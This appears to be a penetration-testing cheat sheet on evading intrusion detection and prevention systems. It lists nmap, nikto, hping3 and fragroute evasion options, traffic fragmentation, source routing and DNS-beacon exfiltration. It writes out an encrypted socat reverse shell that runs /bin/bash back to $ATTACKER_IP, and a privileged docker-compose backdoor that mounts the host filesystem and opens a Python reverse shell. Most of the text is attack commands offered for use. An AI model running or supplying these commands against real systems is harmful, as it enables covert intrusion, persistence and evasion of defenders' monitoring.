killchain-compendium/Post Exploitation/IDS & IPS Evasion.md

IDS & IPS Evation

• Evation by manipulation of
  • Tool parameters
  • Protocol
  • Payload
  • Route
  • Or DoS

Enumeration

• User-Agents

nmap

• --script-args http.useragent="<user-agent>"
• -Ss half open

nikto

• -useragent <user-agent>
• Tuning -T 1 2 3
• NOT-evasion <encoding-technique>, it increases detection

Protocol Manipulation

Relying on another protocol

• nc -ulvnp 4711 for listening to incoming UDP traffic
• nc -u $TARGET_IP $TARGET_PORT for connecting through UDP

Manipulation of the source's or LHOST's network port

• nmap -g 80 or nmap --source-port 53 to send outgoing nmap traffic through it

Session splicing by fragmentation and segmentation

• nmap fragmentation in 8 bytes -f, 16 bytes -ff, --mtu <size> for MTU
• Use Fragroute with ip_frag <num> in fragroute.conf, then use fragroute -f fragroute.conf $TARGET_IP

Sending invalid packets

• Invalid protocol header flags and checksums vianmap --badsum, nmap --scanflags URG/ACK/PSH/RST/SYN/FIN, e.g. concatentation of multiple flags nmap --scanflags SYNRSTFIN
• hping3 including --ttl, --badsum, header flags -S,-A,-P,-U,-F,-R

Payload Manipulation

Obfuscation and Encoding

• Base64
• URL
• Escaped Unicode Characters

Encrypting Communication Channels

• Use socat with encryption

openssl req -x509 -newkey rsa:2048 -days 356 -subj '/CN=www.example.com/O=YO/C=FR' -nodes -keyout id_rsa.key -out reverse.crt

• Create .pem (Privacy Enhanced Mail) file via

cat id_rsa.key reverse.crt > reverse.pem

• Listening on attacker side

socat -d -d OPENSSL-LISTEN:4711,cert=reverse.pem,verify=0,fork STDOUT

• On target

socat OPENSSL:$ATTACKER_IP:4711,verify=0 EXEC:/bin/bash

Modification of Data

• Order of parameters, instead of nc -lvnp it is nc -vpnl
• Adding whitespaces to the commands
• Use aliases

Route Manipulation

Relying on Source Routing

• nmap --ip-options "L 10.10.20.30 10.10.30.40 routes through these IPs loosely
• nmap --ip-options "S 10.10.20.30 10.10.30.40" routes through the IPs strictly

Using Proxyy Servers

• nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP

Tactical DoS

• Non malicious, benign traffic against
  • IDS/IPS
  • Logging server

MISC

• Changing
  • User-Agent
  • Request frequency and duration of sleep
  • SSL/TLS certs
  • DNS beacon, storing exfiltrated data in the query

Backdoors

• Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file

Docker

• Create a docker-compose.yaml file with a reverse shell as an entry point, mount the host volume to /mnt inside the container

---
version: "2.1"
services:
  backdoorservice:
    restart: always
    image: <Found image>
    entrypoint: > 
       python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
       s.connect(("<$ATTACKER_IP>",4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
       pty.spawn("/bin/sh")'
    volumes:
      - /:/mnt
    privileged: true